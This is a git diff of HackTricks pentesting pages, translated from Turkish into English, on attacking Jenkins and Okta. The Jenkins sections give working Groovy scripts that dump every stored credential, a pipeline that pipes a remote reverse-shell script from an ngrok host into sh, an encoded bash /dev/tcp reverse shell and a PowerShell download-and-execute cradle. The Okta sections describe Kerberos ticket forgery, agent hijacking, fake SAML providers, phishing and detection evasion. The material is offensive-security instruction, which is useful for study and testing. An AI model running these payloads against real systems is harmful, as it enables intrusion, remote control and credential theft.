- Groovy script can be used to execute system-level commands or other operations within the Jenkins environment.
|
||||
|
||||
Verilen örnek curl komutu, gerekli başlıklar ve çerezlerle Jenkins'e istek yapmanın nasıl yapılacağını göstermektedir.
|
||||
The example curl command provided demonstrates how to make a request to Jenkins with the necessary headers and cookies to execute arbitrary code securely.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,11 +1,12 @@
|
||||
# Jenkins Groovy'den Gizli Bilgileri Dökme
|
||||
# Jenkins Dumping Secrets from Groovy
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!WARNING]
|
||||
> Bu betiklerin yalnızca `credentials.xml` dosyasındaki gizli bilgileri listeleyeceğini unutmayın, ancak **derleme yapılandırma dosyaları** da **daha fazla kimlik bilgisi** içerebilir.
|
||||
> Note that these scripts will only list the secrets inside the `credentials.xml` file, but **build configuration files** might also have **more credentials**.
|
||||
|
||||
You can **dump all the secrets from the Groovy Script console** in `/script` running this code
|
||||
|
||||
`/script` içindeki Groovy Script konsolundan **tüm gizli bilgileri dökebilirsiniz** bu kodu çalıştırarak
|
||||
```java
|
||||
// From https://www.dennisotugo.com/how-to-view-all-jenkins-secrets-credentials/
|
||||
import jenkins.model.*
|
||||
@@ -41,45 +42,51 @@ showRow("something else", it.id, '', '', '')
|
||||
|
||||
return
|
||||
```
|
||||
#### ya da bu:
|
||||
|
||||
#### or this one:
|
||||
|
||||
```java
|
||||
import java.nio.charset.StandardCharsets;
|
||||
def creds = com.cloudbees.plugins.credentials.CredentialsProvider.lookupCredentials(
|
||||
com.cloudbees.plugins.credentials.Credentials.class
|
||||
com.cloudbees.plugins.credentials.Credentials.class
|
||||
)
|
||||
|
||||
for (c in creds) {
|
||||
println(c.id)
|
||||
if (c.properties.description) {
|
||||
println(" description: " + c.description)
|
||||
}
|
||||
if (c.properties.username) {
|
||||
println(" username: " + c.username)
|
||||
}
|
||||
if (c.properties.password) {
|
||||
println(" password: " + c.password)
|
||||
}
|
||||
if (c.properties.passphrase) {
|
||||
println(" passphrase: " + c.passphrase)
|
||||
}
|
||||
if (c.properties.secret) {
|
||||
println(" secret: " + c.secret)
|
||||
}
|
||||
if (c.properties.secretBytes) {
|
||||
println(" secretBytes: ")
|
||||
println("\n" + new String(c.secretBytes.getPlainData(), StandardCharsets.UTF_8))
|
||||
println("")
|
||||
}
|
||||
if (c.properties.privateKeySource) {
|
||||
println(" privateKey: " + c.getPrivateKey())
|
||||
}
|
||||
if (c.properties.apiToken) {
|
||||
println(" apiToken: " + c.apiToken)
|
||||
}
|
||||
if (c.properties.token) {
|
||||
println(" token: " + c.token)
|
||||
}
|
||||
println("")
|
||||
println(c.id)
|
||||
if (c.properties.description) {
|
||||
println(" description: " + c.description)
|
||||
}
|
||||
if (c.properties.username) {
|
||||
println(" username: " + c.username)
|
||||
}
|
||||
if (c.properties.password) {
|
||||
println(" password: " + c.password)
|
||||
}
|
||||
if (c.properties.passphrase) {
|
||||
println(" passphrase: " + c.passphrase)
|
||||
}
|
||||
if (c.properties.secret) {
|
||||
println(" secret: " + c.secret)
|
||||
}
|
||||
if (c.properties.secretBytes) {
|
||||
println(" secretBytes: ")
|
||||
println("\n" + new String(c.secretBytes.getPlainData(), StandardCharsets.UTF_8))
|
||||
println("")
|
||||
}
|
||||
if (c.properties.privateKeySource) {
|
||||
println(" privateKey: " + c.getPrivateKey())
|
||||
}
|
||||
if (c.properties.apiToken) {
|
||||
println(" apiToken: " + c.apiToken)
|
||||
}
|
||||
if (c.properties.token) {
|
||||
println(" token: " + c.token)
|
||||
}
|
||||
println("")
|
||||
}
|
||||
```
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,37 +1,42 @@
|
||||
# Jenkins RCE Pipeline Oluşturma/Düzenleme
|
||||
# Jenkins RCE Creating/Modifying Pipeline
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Yeni Bir Pipeline Oluşturma
|
||||
## Creating a new Pipeline
|
||||
|
||||
"Yeni Öğe" ( `/view/all/newJob` içinde erişilebilir) seçin **Pipeline:**
|
||||
In "New Item" (accessible in `/view/all/newJob`) select **Pipeline:**
|
||||
|
||||
.png>)
|
||||
|
||||
**Pipeline bölümünde** **reverse shell** yazın:
|
||||
In the **Pipeline section** write the **reverse shell**:
|
||||
|
||||
.png>)
|
||||
|
||||
```groovy
|
||||
pipeline {
|
||||
agent any
|
||||
agent any
|
||||
|
||||
stages {
|
||||
stage('Hello') {
|
||||
steps {
|
||||
sh '''
|
||||
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh
|
||||
'''
|
||||
}
|
||||
}
|
||||
}
|
||||
stages {
|
||||
stage('Hello') {
|
||||
steps {
|
||||
sh '''
|
||||
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh
|
||||
'''
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
Son olarak **Kaydet** ve **Şimdi Oluştur** butonuna tıklayın, ve pipeline çalıştırılacaktır:
|
||||
|
||||
Finally click on **Save**, and **Build Now** and the pipeline will be executed:
|
||||
|
||||
.png>)
|
||||
|
||||
## Bir Pipeline'ı Değiştirme
|
||||
## Modifying a Pipeline
|
||||
|
||||
Eğer yapılandırılmış bir pipeline'ın yapılandırma dosyasına erişiminiz varsa, sadece **ters shell'inizi ekleyerek değiştirebilirsiniz** ve ardından çalıştırabilir veya çalıştırılmasını bekleyebilirsiniz.
|
||||
If you can access the configuration file of some pipeline configured you could just **modify it appending your reverse shell** and then execute it or wait until it gets executed.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,36 +1,39 @@
|
||||
# Jenkins RCE Proje Oluşturma/Düzenleme
|
||||
# Jenkins RCE Creating/Modifying Project
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Proje Oluşturma
|
||||
## Creating a Project
|
||||
|
||||
Bu yöntem çok gürültülü çünkü tamamen yeni bir proje oluşturmanız gerekiyor (bu, kullanıcının yeni bir proje oluşturmasına izin veriliyorsa çalışır).
|
||||
This method is very noisy because you have to create a hole new project (obviously this will only work if you user is allowed to create a new project).
|
||||
|
||||
1. **Yeni bir proje oluşturun** (Freestyle projesi) "Yeni Öğe"ye tıklayarak veya `/view/all/newJob` adresine giderek
|
||||
2. **Build** bölümünde **Shell'i çalıştır** seçeneğini ayarlayın ve bir powershell Empire başlatıcısı veya bir meterpreter powershell yapıştırın (bu _unicorn_ kullanılarak elde edilebilir). Yükü _PowerShell.exe_ ile başlatın, _powershell._ yerine.
|
||||
3. **Şimdi inşa et** butonuna tıklayın
|
||||
1. Eğer **Şimdi inşa et** butonu görünmüyorsa, yine de **ayarlar** --> **İnşa Tetikleyicileri** --> `Düzenli olarak inşa et` kısmına gidebilir ve `* * * * *` şeklinde bir cron ayarlayabilirsiniz.
|
||||
2. Cron kullanmak yerine, sadece işi tetiklemek için bir api token adı ayarlamanız gereken "**Uzakta inşaları tetikle**" ayarını kullanabilirsiniz. Ardından kullanıcı profilinize gidin ve **bir API token oluşturun** (bu API token'ı işi tetiklemek için kullandığınız gibi adlandırın). Son olarak, işi tetiklemek için: **`curl <username>:<api_token>@<jenkins_url>/job/<job_name>/build?token=<api_token_name>`** komutunu kullanın.
|
||||
1. **Create a new project** (Freestyle project) clicking "New Item" or in `/view/all/newJob`
|
||||
2. Inside **Build** section set **Execute shell** and paste a powershell Empire launcher or a meterpreter powershell (can be obtained using _unicorn_). Start the payload with _PowerShell.exe_ instead using _powershell._
|
||||
3. Click **Build now**
|
||||
1. If **Build now** button doesn't appear, you can still go to **configure** --> **Build Triggers** --> `Build periodically` and set a cron of `* * * * *`
|
||||
2. Instead of using cron, you can use the config "**Trigger builds remotely**" where you just need to set a the api token name to trigger the job. Then go to your user profile and **generate an API token** (call this API token as you called the api token to trigger the job). Finally, trigger the job with: **`curl <username>:<api_token>@<jenkins_url>/job/<job_name>/build?token=<api_token_name>`**
|
||||
|
||||
.png>)
|
||||
|
||||
## Projeyi Düzenleme
|
||||
## Modifying a Project
|
||||
|
||||
Projeleri kontrol edin ve **herhangi birini yapılandırıp yapılandıramayacağınızı** kontrol edin ( "Yapılandır" butonunu arayın):
|
||||
Go to the projects and check **if you can configure any** of them (look for the "Configure button"):
|
||||
|
||||
.png>)
|
||||
|
||||
Eğer **hiçbir** **yapılandırma** **butonu** göremiyorsanız, muhtemelen **yapılandıramazsınız** (ancak bazı projeleri yapılandırma yetkiniz olabilir, bu yüzden tüm projeleri kontrol edin).
|
||||
If you **cannot** see any **configuration** **button** then you **cannot** **configure** it probably (but check all projects as you might be able to configure some of them and not others).
|
||||
|
||||
Ya da **/job/<proj-name>/configure** veya **/me/my-views/view/all/job/<proj-name>/configure** yoluna erişmeyi deneyin \_\_ her projede (örnek: `/job/Project0/configure` veya `/me/my-views/view/all/job/Project0/configure`).
|
||||
Or **try to access to the path** `/job/<proj-name>/configure` or `/me/my-views/view/all/job/<proj-name>/configure` \_\_ in each project (example: `/job/Project0/configure` or `/me/my-views/view/all/job/Project0/configure`).
|
||||
|
||||
## Çalıştırma
|
||||
## Execution
|
||||
|
||||
Projeyi yapılandırmanıza izin veriliyorsa, **başarılı bir inşa olduğunda komutları çalıştırmasını sağlayabilirsiniz**:
|
||||
If you are allowed to configure the project you can **make it execute commands when a build is successful**:
|
||||
|
||||
.png>)
|
||||
|
||||
**Kaydet** butonuna tıklayın ve projeyi **inşa edin**, böylece **komutunuz çalıştırılacaktır**.\
|
||||
Eğer bir ters shell çalıştırmıyorsanız ama basit bir komut çalıştırıyorsanız, **komutun çıktısını inşanın çıktısında görebilirsiniz**.
|
||||
Click on **Save** and **build** the project and your **command will be executed**.\
|
||||
If you are not executing a reverse shell but a simple command you can **see the output of the command inside the output of the build**.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,21 +4,24 @@
|
||||
|
||||
## Jenkins RCE with Groovy Script
|
||||
|
||||
Bu, Jenkins'te yeni bir proje oluşturmaktan daha az gürültülü.
|
||||
This is less noisy than creating a new project in Jenkins
|
||||
|
||||
1. Go to _path_jenkins/script_
|
||||
2. Inside the text box introduce the script
|
||||
|
||||
1. _path_jenkins/script_ yoluna gidin.
|
||||
2. Metin kutusuna script'i ekleyin.
|
||||
```python
|
||||
def process = "PowerShell.exe <WHATEVER>".execute()
|
||||
println "Found text ${process.text}"
|
||||
```
|
||||
Bir komutu şu şekilde çalıştırabilirsiniz: `cmd.exe /c dir`
|
||||
|
||||
**linux** üzerinde şunu yapabilirsiniz: **`"ls /".execute().text`**
|
||||
You could execute a command using: `cmd.exe /c dir`
|
||||
|
||||
Metin içinde _tırnak_ ve _tek tırnak_ kullanmanız gerekiyorsa, yükü çalıştırmak için _"""PAYLOAD"""_ (üçlü çift tırnak) kullanabilirsiniz.
|
||||
In **linux** you can do: **`"ls /".execute().text`**
|
||||
|
||||
If you need to use _quotes_ and _single quotes_ inside the text. You can use _"""PAYLOAD"""_ (triple double quotes) to execute the payload.
|
||||
|
||||
**Another useful groovy script** is (replace \[INSERT COMMAND]):
|
||||
|
||||
**Başka bir yararlı groovy script** şudur ( \[INSERT COMMAND] ile değiştirin):
|
||||
```python
|
||||
def sout = new StringBuffer(), serr = new StringBuffer()
|
||||
def proc = '[INSERT COMMAND]'.execute()
|
||||
@@ -26,7 +29,9 @@ proc.consumeProcessOutput(sout, serr)
|
||||
proc.waitForOrKill(1000)
|
||||
println "out> $sout err> $serr"
|
||||
```
|
||||
### Linux'te Ters Shell
|
||||
|
||||
### Reverse shell in linux
|
||||
|
||||
```python
|
||||
def sout = new StringBuffer(), serr = new StringBuffer()
|
||||
def proc = 'bash -c {echo,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMi80MzQzIDA+JjEnCg==}|{base64,-d}|{bash,-i}'.execute()
|
||||
@@ -34,20 +39,28 @@ proc.consumeProcessOutput(sout, serr)
|
||||
proc.waitForOrKill(1000)
|
||||
println "out> $sout err> $serr"
|
||||
```
|
||||
### Windows'ta Ters Shell
|
||||
|
||||
Bir PS ters shell ile HTTP sunucusu hazırlayabilir ve bunu indirmek ve çalıştırmak için Jeking kullanabilirsiniz:
|
||||
### Reverse shell in windows
|
||||
|
||||
You can prepare a HTTP server with a PS reverse shell and use Jeking to download and execute it:
|
||||
|
||||
```python
|
||||
scriptblock="iex (New-Object Net.WebClient).DownloadString('http://192.168.252.1:8000/payload')"
|
||||
echo $scriptblock | iconv --to-code UTF-16LE | base64 -w 0
|
||||
cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc <BASE64>
|
||||
```
|
||||
|
||||
### Script
|
||||
|
||||
Bu süreci [**bu script ile**](https://github.com/gquere/pwn_jenkins/blob/master/rce/jenkins_rce_admin_script.py) otomatikleştirebilirsiniz.
|
||||
You can automate this process with [**this script**](https://github.com/gquere/pwn_jenkins/blob/master/rce/jenkins_rce_admin_script.py).
|
||||
|
||||
You can use MSF to get a reverse shell:
|
||||
|
||||
Bir ters shell almak için MSF kullanabilirsiniz:
|
||||
```
|
||||
msf> use exploit/multi/http/jenkins_script_console
|
||||
```
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,114 +1,117 @@
|
||||
# Okta Güvenliği
|
||||
# Okta Security
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Temel Bilgiler
|
||||
## Basic Information
|
||||
|
||||
[Okta, Inc.](https://www.okta.com/) kimlik ve erişim yönetimi sektöründe bulut tabanlı yazılım çözümleri ile tanınmaktadır. Bu çözümler, çeşitli modern uygulamalar arasında kullanıcı kimlik doğrulamasını kolaylaştırmak ve güvence altına almak için tasarlanmıştır. Hem hassas verilerini korumak isteyen şirketlere hem de kimlik kontrollerini uygulamalara, web hizmetlerine ve cihazlara entegre etmekle ilgilenen geliştiricilere hitap etmektedir.
|
||||
[Okta, Inc.](https://www.okta.com/) is recognized in the identity and access management sector for its cloud-based software solutions. These solutions are designed to streamline and secure user authentication across various modern applications. They cater not only to companies aiming to safeguard their sensitive data but also to developers interested in integrating identity controls into applications, web services, and devices.
|
||||
|
||||
Okta'nın amiral gemisi ürünü **Okta Identity Cloud**'dır. Bu platform, aşağıdakiler de dahil olmak üzere bir dizi ürünü kapsamaktadır:
|
||||
The flagship offering from Okta is the **Okta Identity Cloud**. This platform encompasses a suite of products, including but not limited to:
|
||||
|
||||
- **Tek Oturum Açma (SSO)**: Birden fazla uygulama için tek bir oturum açma kimlik bilgisi seti ile kullanıcı erişimini basitleştirir.
|
||||
- **Çok Faktörlü Kimlik Doğrulama (MFA)**: Birden fazla doğrulama biçimi gerektirerek güvenliği artırır.
|
||||
- **Yaşam Döngüsü Yönetimi**: Kullanıcı hesaplarının oluşturulması, güncellenmesi ve devre dışı bırakılması süreçlerini otomatikleştirir.
|
||||
- **Evrensel Dizin**: Kullanıcıların, grupların ve cihazların merkezi yönetimini sağlar.
|
||||
- **API Erişim Yönetimi**: API'lere erişimi güvence altına alır ve yönetir.
|
||||
- **Single Sign-On (SSO)**: Simplifies user access by allowing one set of login credentials across multiple applications.
|
||||
- **Multi-Factor Authentication (MFA)**: Enhances security by requiring multiple forms of verification.
|
||||
- **Lifecycle Management**: Automates user account creation, update, and deactivation processes.
|
||||
- **Universal Directory**: Enables centralized management of users, groups, and devices.
|
||||
- **API Access Management**: Secures and manages access to APIs.
|
||||
|
||||
Bu hizmetler, veri korumasını güçlendirmeyi ve kullanıcı erişimini kolaylaştırmayı amaçlamaktadır, böylece hem güvenliği hem de rahatlığı artırmaktadır. Okta'nın çözümlerinin çok yönlülüğü, onları çeşitli endüstrilerde popüler bir seçim haline getirmekte, büyük işletmelere, küçük şirketlere ve bireysel geliştiricilere fayda sağlamaktadır. Eylül 2021'deki son güncelleme itibarıyla, Okta Kimlik ve Erişim Yönetimi (IAM) alanında önde gelen bir varlık olarak tanınmaktadır.
|
||||
These services collectively aim to fortify data protection and streamline user access, enhancing both security and convenience. The versatility of Okta's solutions makes them a popular choice across various industries, beneficial to large enterprises, small companies, and individual developers alike. As of the last update in September 2021, Okta is acknowledged as a prominent entity in the Identity and Access Management (IAM) arena.
|
||||
|
||||
> [!CAUTION]
|
||||
> Okta'nın ana hedefi, farklı kullanıcılar ve gruplar için dış uygulamalara erişimi yapılandırmaktır. Eğer bir **Okta** ortamında **yönetici ayrıcalıklarını ele geçirirseniz**, şirketin kullandığı **diğer tüm platformları ele geçirme** olasılığınız oldukça yüksektir.
|
||||
> The main gola of Okta is to configure access to different users and groups to external applications. If you manage to **compromise administrator privileges in an Oktas** environment, you will highly probably able to **compromise all the other platforms the company is using**.
|
||||
|
||||
> [!TIP]
|
||||
> Bir Okta ortamının güvenlik incelemesini gerçekleştirmek için **yönetici yalnızca okuma erişimi** talep etmelisiniz.
|
||||
> To perform a security review of an Okta environment you should ask for **administrator read-only access**.
|
||||
|
||||
### Özet
|
||||
### Summary
|
||||
|
||||
**Kullanıcılar** (Okta'da **saklanabilir**, yapılandırılmış **Kimlik Sağlayıcılarından** oturum açabilir veya **Active Directory** veya LDAP aracılığıyla kimlik doğrulaması yapılabilir).\
|
||||
Bu kullanıcılar **gruplar** içinde olabilir.\
|
||||
Ayrıca **kimlik doğrulayıcılar** vardır: şifre gibi kimlik doğrulama seçenekleri ve WebAuthn, e-posta, telefon, okta doğrulama gibi çeşitli 2FA (bunlar etkinleştirilebilir veya devre dışı bırakılabilir)...
|
||||
There are **users** (which can be **stored in Okta,** logged from configured **Identity Providers** or authenticated via **Active Directory** or LDAP).\
|
||||
These users can be inside **groups**.\
|
||||
There are also **authenticators**: different options to authenticate like password, and several 2FA like WebAuthn, email, phone, okta verify (they could be enabled or disabled)...
|
||||
|
||||
Daha sonra, Okta ile senkronize edilmiş **uygulamalar** vardır. Her uygulama, bilgi paylaşmak için Okta ile bazı **eşleştirmelere** sahip olacaktır (örneğin e-posta adresleri, adlar...). Ayrıca, her uygulama bir **Kimlik Doğrulama Politikası** içinde olmalıdır; bu, bir kullanıcının uygulamaya **erişmesi** için gereken **kimlik doğrulayıcıları** belirtir.
|
||||
Then, there are **applications** synchronized with Okta. Each applications will have some **mapping with Okta** to share information (such as email addresses, first names...). Moreover, each application must be inside an **Authentication Policy**, which indicates the **needed authenticators** for a user to **access** the application.
|
||||
|
||||
> [!CAUTION]
|
||||
> En güçlü rol **Süper Yönetici**dir.
|
||||
> The most powerful role is **Super Administrator**.
|
||||
>
|
||||
> Eğer bir saldırgan Okta'yı Yönetici erişimi ile ele geçirirse, **Okta'ya güvenen tüm uygulamalar** büyük olasılıkla **ele geçirilmiş** olacaktır.
|
||||
> If an attacker compromise Okta with Administrator access, all the **apps trusting Okta** will be highly probably **compromised**.
|
||||
|
||||
## Saldırılar
|
||||
## Attacks
|
||||
|
||||
### Okta Portalını Bulma
|
||||
### Locating Okta Portal
|
||||
|
||||
Genellikle bir şirketin portalı **companyname.okta.com** adresinde bulunur. Eğer bulamazsanız, **companyname.** için basit **varyasyonlar** deneyin. Eğer bulamazsanız, organizasyonun **Okta portalına** işaret eden **CNAME** kaydı olabilir, örneğin **`okta.companyname.com`**.
|
||||
Usually the portal of a company will be located in **companyname.okta.com**. If not, try simple **variations** of **companyname.** If you cannot find it, it's also possible that the organization has a **CNAME** record like **`okta.companyname.com`** pointing to the **Okta portal**.
|
||||
|
||||
### Kerberos ile Okta'ya Giriş
|
||||
### Login in Okta via Kerberos
|
||||
|
||||
Eğer **`companyname.kerberos.okta.com`** aktifse, **Kerberos Okta erişimi için kullanılır**, genellikle **Windows** kullanıcıları için **MFA**'yı atlayarak. AD'de Kerberos ile kimlik doğrulaması yapılmış Okta kullanıcılarını bulmak için **`getST.py`**'yi **uygun parametrelerle** çalıştırın. Bir **AD kullanıcı bileti** aldıktan sonra, bunu kontrol edilen bir hosta **Rubeus** veya **Mimikatz** gibi araçlar kullanarak **enjekte** edin, **`clientname.kerberos.okta.com`'un Internet Seçenekleri "İntranet" alanında** olduğundan emin olun. Belirli bir URL'ye erişmek, Kerberos biletinin kabul edildiğini gösteren bir JSON "OK" yanıtı döndürmeli ve Okta kontrol paneline erişim sağlamalıdır.
|
||||
If **`companyname.kerberos.okta.com`** is active, **Kerberos is used for Okta access**, typically bypassing **MFA** for **Windows** users. To find Kerberos-authenticated Okta users in AD, run **`getST.py`** with **appropriate parameters**. Upon obtaining an **AD user ticket**, **inject** it into a controlled host using tools like Rubeus or Mimikatz, ensuring **`clientname.kerberos.okta.com` is in the Internet Options "Intranet" zone**. Accessing a specific URL should return a JSON "OK" response, indicating Kerberos ticket acceptance, and granting access to the Okta dashboard.
|
||||
|
||||
**Okta hizmet hesabını delege SPN ile ele geçirmek, bir Silver Ticket saldırısını mümkün kılar.** Ancak, Okta'nın bilet şifrelemesi için **AES** kullanması, AES anahtarına veya düz metin şifreye sahip olmayı gerektirir. **`ticketer.py`'yi kullanarak kurban kullanıcı için bir bilet oluşturun** ve bunu tarayıcı aracılığıyla Okta ile kimlik doğrulamak için iletin.
|
||||
Compromising the **Okta service account with the delegation SPN enables a Silver Ticket attack.** However, Okta's use of **AES** for ticket encryption requires possessing the AES key or plaintext password. Use **`ticketer.py` to generate a ticket for the victim user** and deliver it via the browser to authenticate with Okta.
|
||||
|
||||
**Saldırıyı kontrol edin** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
|
||||
**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
|
||||
|
||||
### Okta AD Ajanını Ele Geçirme
|
||||
### Hijacking Okta AD Agent
|
||||
|
||||
Bu teknik, **kullanıcıları senkronize eden ve kimlik doğrulamasını yöneten bir sunucudaki Okta AD Ajanına erişmeyi** içerir. **`OktaAgentService.exe.config`** içindeki yapılandırmaları inceleyerek ve şifrelerini çözerek, özellikle **DPAPI** kullanarak AgentToken'ı ele geçiren bir saldırgan, **kimlik doğrulama verilerini** potansiyel olarak **yakalamak ve manipüle etmek** için fırsat bulabilir. Bu, yalnızca Okta kimlik doğrulama sürecinde kullanıcı kimlik bilgilerini düz metin olarak **izleme** ve **yakalama** sağlamakla kalmaz, aynı zamanda kimlik doğrulama girişimlerine **yanıt verme** yeteneği de sağlar; böylece yetkisiz erişim sağlanabilir veya Okta aracılığıyla evrensel kimlik doğrulama sağlanabilir (bir 'anahtar' gibi).
|
||||
This technique involves **accessing the Okta AD Agent on a server**, which **syncs users and handles authentication**. By examining and decrypting configurations in **`OktaAgentService.exe.config`**, notably the AgentToken using **DPAPI**, an attacker can potentially **intercept and manipulate authentication data**. This allows not only **monitoring** and **capturing user credentials** in plaintext during the Okta authentication process but also **responding to authentication attempts**, thereby enabling unauthorized access or providing universal authentication through Okta (akin to a 'skeleton key').
|
||||
|
||||
**Saldırıyı kontrol edin** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
|
||||
**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
|
||||
|
||||
### Yönetici Olarak AD'yi Ele Geçirme
|
||||
### Hijacking AD As an Admin
|
||||
|
||||
Bu teknik, önce bir OAuth Kodu elde ederek bir Okta AD Ajanını ele geçirmeyi içerir, ardından bir API token'ı talep edilir. Token, bir AD alanı ile ilişkilidir ve **sahte bir AD ajanı oluşturmak için bir bağlantı adı verilir**. Başlatma, ajanın **kimlik doğrulama girişimlerini işlemesine** olanak tanır ve Okta API'si aracılığıyla kimlik bilgilerini yakalar. Bu süreci kolaylaştırmak için otomasyon araçları mevcuttur ve Okta ortamında kimlik doğrulama verilerini yakalamak ve işlemek için sorunsuz bir yöntem sunar.
|
||||
This technique involves hijacking an Okta AD Agent by first obtaining an OAuth Code, then requesting an API token. The token is associated with an AD domain, and a **connector is named to establish a fake AD agent**. Initialization allows the agent to **process authentication attempts**, capturing credentials via the Okta API. Automation tools are available to streamline this process, offering a seamless method to intercept and handle authentication data within the Okta environment.
|
||||
|
||||
**Saldırıyı kontrol edin** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
|
||||
**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
|
||||
|
||||
### Okta Sahte SAML Sağlayıcısı
|
||||
### Okta Fake SAML Provider
|
||||
|
||||
**Saldırıyı kontrol edin** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
|
||||
**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
|
||||
|
||||
Bu teknik, **sahte bir SAML sağlayıcısı dağıtmayı** içerir. Okta'nın çerçevesine bir dış Kimlik Sağlayıcısı (IdP) entegre ederek, saldırganlar **IdP'yi kontrol edebilir ve istedikleri zaman herhangi bir kimlik doğrulama talebini onaylayabilir**. Süreç, Okta'da bir SAML 2.0 IdP kurmayı, yerel hosts dosyası aracılığıyla yönlendirme için IdP Tek Oturum Açma URL'sini manipüle etmeyi, kendinden imzalı bir sertifika oluşturmayı ve Okta ayarlarını kullanıcı adı veya e-posta ile eşleşecek şekilde yapılandırmayı içerir. Bu adımları başarıyla gerçekleştirmek, herhangi bir Okta kullanıcısı olarak kimlik doğrulama sağlamaya olanak tanır; bu, bireysel kullanıcı kimlik bilgilerine ihtiyaç duymadan, erişim kontrolünü önemli ölçüde artırır.
|
||||
The technique involves **deploying a fake SAML provider**. By integrating an external Identity Provider (IdP) within Okta's framework using a privileged account, attackers can **control the IdP, approving any authentication request at will**. The process entails setting up a SAML 2.0 IdP in Okta, manipulating the IdP Single Sign-On URL for redirection via local hosts file, generating a self-signed certificate, and configuring Okta settings to match against the username or email. Successfully executing these steps allows for authentication as any Okta user, bypassing the need for individual user credentials, significantly elevating access control in a potentially unnoticed manner.
|
||||
|
||||
### Evilgnix ile Okta Portalını Phishing
|
||||
### Phishing Okta Portal with Evilgnix
|
||||
|
||||
[**Bu blog yazısında**](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23) bir Okta portalına karşı bir phishing kampanyası hazırlamanın nasıl yapılacağı açıklanmaktadır.
|
||||
In [**this blog post**](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23) is explained how to prepare a phishing campaign against an Okta portal.
|
||||
|
||||
### Meslektaş Taklit Saldırısı
|
||||
### Colleague Impersonation Attack
|
||||
|
||||
Her kullanıcının sahip olabileceği ve değiştirebileceği **nitelikler** (örneğin e-posta veya ad) Okta'da yapılandırılabilir. Eğer bir **uygulama**, bir kullanıcının **değiştirebileceği** bir **nitelik** olarak **ID'ye güveniyorsa**, o platformda **diğer kullanıcıları taklit etme** yeteneğine sahip olacaktır.
|
||||
The **attributes that each user can have and modify** (like email or first name) can be configured in Okta. If an **application** is **trusting** as ID an **attribute** that the user can **modify**, he will be able to **impersonate other users in that platform**.
|
||||
|
||||
Bu nedenle, eğer uygulama **`userName`** alanına güveniyorsa, muhtemelen bunu değiştiremeyeceksiniz (çünkü genellikle bu alanı değiştiremezsiniz), ancak eğer örneğin **`primaryEmail`** alanına güveniyorsa, bunu **bir meslektaşın e-posta adresine değiştirme** olanağına sahip olabilirsiniz ve taklit edebilirsiniz (değişikliği kabul etmek için e-postaya erişiminiz olması gerekecek).
|
||||
Therefore, if the app is trusting the field **`userName`**, you probably won't be able to change it (because you usually cannot change that field), but if it's trusting for example **`primaryEmail`** you might be able to **change it to a colleagues email address** and impersonate it (you will need to have access to the email and accept the change).
|
||||
|
||||
Bu taklit etme, her uygulamanın nasıl yapılandırıldığına bağlıdır. Sadece değiştirdiğiniz alana güvenen ve güncellemeleri kabul edenler tehlikeye girecektir.\
|
||||
Bu nedenle, uygulamanın bu alanı etkinleştirmiş olması gerekir:
|
||||
Note that this impersoantion depends on how each application was condigured. Only the ones trusting the field you modified and accepting updates will be compromised.\
|
||||
Therefore, the app should have this field enabled if it exists:
|
||||
|
||||
<figure><img src="../../images/image (175).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ayrıca, o alana sahip olmayan ancak savunmasız olan diğer uygulamaları da gördüm (en sonunda farklı uygulamalar farklı şekilde yapılandırılmıştır).
|
||||
I have also seen other apps that were vulnerable but didn't have that field in the Okta settings (at the end different apps are configured differently).
|
||||
|
||||
Her uygulamada herhangi birini taklit edip edemeyeceğinizi öğrenmenin en iyi yolu, bunu denemektir!
|
||||
The best way to find out if you could impersonate anyone on each app would be to try it!
|
||||
|
||||
## Davranışsal tespit politikalarından kaçınma <a href="#id-9fde" id="id-9fde"></a>
|
||||
## Evading behavioural detection policies <a href="#id-9fde" id="id-9fde"></a>
|
||||
|
||||
Okta'daki davranışsal tespit politikaları, karşılaşılana kadar bilinmeyebilir, ancak bunları **doğrudan Okta uygulamalarını hedefleyerek** **atlatmak** mümkündür; bu, ana Okta kontrol panelinden kaçınmayı içerir. Bir **Okta erişim token'ı** ile, token'ı ana giriş sayfası yerine **uygulama özel Okta URL'sinde** yeniden oynatın.
|
||||
